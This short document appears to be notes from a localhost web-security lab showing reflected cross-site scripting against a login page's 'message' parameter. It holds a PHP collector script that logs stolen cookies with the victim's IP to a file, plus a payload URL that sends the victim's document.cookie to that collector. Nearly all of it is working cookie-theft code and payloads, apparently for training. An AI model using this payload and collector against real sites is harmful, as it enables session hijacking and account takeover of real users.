http://localhost/lab1/php/login.php?message=<script>alert(document.cookie);</script>

<?php
$file = 'cookies_list.txt';
$stringPrint = 'Time ' . date("Y/m/d - h:i:sa") . ' Origin IP: ' . $_SERVER['REMOTE_ADDR'] . '  Cookie: ' . $_GET["c"] .  PHP_EOL;
file_put_contents($file, $stringPrint, FILE_APPEND | LOCK_EX);
?>

http://localhost/getcookies.php?c=test

http://localhost/lab1/php/login.php?message=<script>document.location.href='http://localhost/getcookies.php?c='+document.cookie;</script>